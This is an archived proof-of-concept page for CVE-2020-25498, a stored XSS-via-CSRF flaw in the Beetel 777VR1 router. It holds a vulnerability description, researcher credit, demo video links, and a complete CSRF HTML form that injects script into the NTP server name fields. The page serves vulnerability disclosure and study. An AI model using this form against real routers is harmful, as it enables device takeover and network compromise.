POC详情： 270204b15ee3850e97eefbca6694724358f5df40

来源
https://github.com/the-girl-who-lived/CVE-2020-25498
关联漏洞
标题： Beetel router 777VR1 跨站脚本漏洞 (CVE-2020-25498)
描述：Beetel 777VR1是Beetel公司的一款路由器。 Beetel router 777VR1 存在跨站脚本漏洞，该漏洞源于系统时间中的NTP服务器名和URL过滤器中的“关键字”。
描述
Stored XSS via CSRF in Beetel 777VR1 Router
介绍
# CVE-2020-25498: Stored XSS via CSRF in Beetel 777VR1 Router

## **[Vulnerability Description]()**

It has been identified that the vulnerable endpoint doesn't have server side input validation and lacks client side filtering for any malicious script injection. An attacker can use this vulnerability to inject malicious script in the endpoint and the script is activated every time a user opens the vulnerable endpoint. Attacker can send a malicious URL with POST request payload to execute XSS in admin module via CSRF to take over the device and finally, to take over the network.

**Researcher:** Sayli Ambure (https://twitter.com/sayli_ambure)  

**MITRE CVE link:** https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25498

## **[Proof-of-Concept Exploit:]()**

**CSRF HTML Code:**
```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/form2ntp.cgi" method="POST">
      <input type="hidden" name="ntpstate" value="Enable" />
      <input type="hidden" name="ntpserver" value='google&#46;com"><script>alert(1)</script>' />
      <input type="hidden" name="ntpserver2" value='google&#46;com"><script>alert(2)</script>' />
      <input type="hidden" name="ntpinterval" value="1" />
      <input type="hidden" name="ntptimezone" value="330" />
      <input type="hidden" name="submit&#46;htm&#63;time&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

### **[1. NTP Server Name in System Time configuration module]()**

**Parameter: Server name**

### **[Proof of Concept Video:]()**

<a href="http://www.youtube.com/watch?feature=player_embedded&v=qeVHvmS5wtI
" target="_blank"><img src="http://img.youtube.com/vi/qeVHvmS5wtI/0.jpg" 
 width="500" height="300" border="10" /></a>
 
 ### **[2. URL Filter endpoint in Firewall module]()**
 
 **Parameter: Keyword**
 
 ### **[Proof of Concept video:]()**
 
<a href="http://www.youtube.com/watch?feature=player_embedded&v=u_6yBIMF74A
" target="_blank"><img src="http://img.youtube.com/vi/u_6yBIMF74A/0.jpg" 
 width="500" height="300" border="10" /></a>
文件快照

 [4.0K]  /data/pocs/270204b15ee3850e97eefbca6694724358f5df40
└── [2.1K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。